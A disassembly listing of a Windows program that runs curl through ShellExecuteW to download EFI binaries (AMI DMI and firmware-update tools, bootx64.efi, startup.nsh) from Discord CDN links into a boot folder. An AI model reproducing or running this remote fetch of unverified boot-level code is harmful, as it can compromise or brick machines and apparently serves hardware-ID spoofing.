lea rdx, str.Error_creating_boot_folder.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400633f0
lea rdx, [0x140063830]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14005f62f
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x50]
call fcn.140061b90
mov rdx, rax
lea r8, str.AMIDEEFIx64.efi
lea rcx, [rbp + 0x2a8]
call fcn.140063b10
lea rcx, [rbp + 0x50]
call fcn.140045270
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x50]
call fcn.140061b90
mov rdx, rax
lea r8, str.AfuEfix64.efi
lea rcx, [rbp + 0xb8]
call fcn.140063b10
lea rcx, [rbp + 0x50]
call fcn.140045270
lea r8, [rbp + 0x2a8]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198804522005438474_AMIDEEFIx64.efi__o__
lea rcx, [rbp + 0x90]
call fcn.140063cf0
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x50]
call fcn.140063b10
mov rcx, rax
call fcn.140061b00
mov r9, rax
mov dword [rsp + 0x28], esi
lea r8, str.curl
mov qword [rsp + 0x20], rsi
lea rdx, [0x140172238]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x50]
call fcn.140045270
lea rcx, [rbp + 0x90]
call fcn.140045270
lea r8, [rbp + 0xb8]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198804543593529394_AfuEfix64.efi__o__
lea rcx, [rbp + 0x90]
call fcn.140063cf0
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x50]
call fcn.140063b10
mov rcx, rax
call fcn.140061b00
mov r9, rax
mov dword [rsp + 0x28], esi
lea r8, str.curl
mov qword [rsp + 0x20], rsi
lea rdx, [0x140172238]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x50]
call fcn.140045270
lea rcx, [rbp + 0x90]
call fcn.140045270
lea r8, str._startup.nsh
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x70]
call fcn.140063b80
lea r8, str._bootx64.efi
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x80]
call fcn.140063b80
lea r8, [rbp + 0x70]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198805528051200030_startup.nsh__o__
lea rcx, [rbp + 0x90]
call fcn.140063cf0
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x50]
call fcn.140063b10
mov rcx, rax
call fcn.140061b00
mov dword [rsp + 0x28], esi
mov r9, rax
mov qword [rsp + 0x20], rsi
lea r8, str.curl
xor ecx, ecx
lea rdx, [0x140172238]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x50]
mov rbx, rax
call fcn.140045270
lea rcx, [rbp + 0x90]
call fcn.140045270
cmp rbx, 0x20
ja 0x14005f481
lea rdx, str.Erro_ao_baixar_o_arquivo_startup.nsh.
jmp 0x14005f5e9
lea r8, [rbp - 0x80]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198805527728242779_bootx64.efi__o__
lea rcx, [rbp + 0x90]
call fcn.140063cf0
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x50]
call fcn.140063b10
mov rcx, rax
call fcn.140061b00
mov r9, rax
mov dword [rsp + 0x28], esi
lea r8, str.curl
mov qword [rsp + 0x20], rsi
lea rdx, [0x140172238]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x50]
mov rbx, rax
call fcn.140045270
lea rcx, [rbp + 0x90]
call fcn.140045270
cmp rbx, 0x20
ja 0x14005f4ff
lea rdx, str.Erro_ao_baixar_o_arquivo_bootx64.efi.
jmp 0x14005f5e9
lea rcx, [rbp + 0x2a8]
call fcn.140061b00
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005f5e2
lea rcx, [rbp + 0xb8]
call fcn.140061b00
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005f5e2
lea rcx, [rbp + 0x70]
call fcn.140061b00
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005f5e2
lea rcx, [rbp - 0x80]
call fcn.140061b00
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005f5e2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Files_successfully_downloaded_from:
call fcn.140063e60
mov rcx, rax
lea rdx, [rbp + 0x420]
call fcn.140063e60
lea rdx, [0x140064030]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x80]
call fcn.140045270
lea rcx, [rbp + 0x70]
call fcn.140045270
lea rcx, [rbp + 0xb8]
call fcn.140045270
lea rcx, [rbp + 0x2a8]
call fcn.140045270
lea rcx, [rbp + 0x10]
call fcn.140045270
lea rcx, [rbp - 0x30]
call fcn.140045270
xor eax, eax
jmp 0x14005f6c1
lea rdx, str.Error_downloading_files.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400633f0
lea rdx, [0x140063830]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x80]
call fcn.140045270
lea rcx, [rbp + 0x70]
call fcn.140045270
lea rcx, [rbp + 0xb8]
call fcn.140045270
lea rcx, [rbp + 0x2a8]
call fcn.140045270
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x14005f66b
mov rcx, qword [rbp + 0x10]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f666
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005f6b2
call fcn.140131320
mov rdx, qword [rbp - 0x18]
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 7
mov word [rbp + 0x10], si
cmp rdx, 7
jbe 0x14005f6be
mov rcx, qword [rbp - 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f6b9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005f6b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140131320
mov eax, r12d
movaps xmm14, xmmword [rsp + 0x770]
mov r13, qword [rsp + 0x808]
movaps xmm12, xmmword [rsp + 0x790]
movaps xmm11, xmmword [rsp + 0x7a0]
movaps xmm10, xmmword [rsp + 0x7b0]
movaps xmm9, xmmword [rsp + 0x7c0]
movaps xmm8, xmmword [rsp + 0x7d0]
movaps xmm7, xmmword [rsp + 0x7e0]
movaps xmm6, xmmword [rsp + 0x7f0]
movaps xmm15, xmmword [rsp + 0x760]
mov r14, qword [rsp + 0x800]
mov rbx, qword [rsp + 0x830]
mov rdi, qword [rsp + 0x840]
mov rsi, qword [rsp + 0x838]
movaps xmm13, xmmword [rsp + 0x780]
mov r12, qword [rsp + 0x810]
add rsp, 0x818
pop r15
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.No_directories_selected.
call fcn.1400633f0
lea rdx, [0x140063830]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14005f6be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, qword [0x140396838]
mov rdx, qword [0x140396840]
test rdx, rdx
je 0x14005f7b4
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140396838]
mov qword [0x140396840], r15
test rcx, rcx
je 0x14005f7c6
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140396838], r15
mov rdx, qword [rbp + 0x338]
mov rcx, qword [rbp + 0x360]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r12d
jmp 0x14005f718
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x48], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x48], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3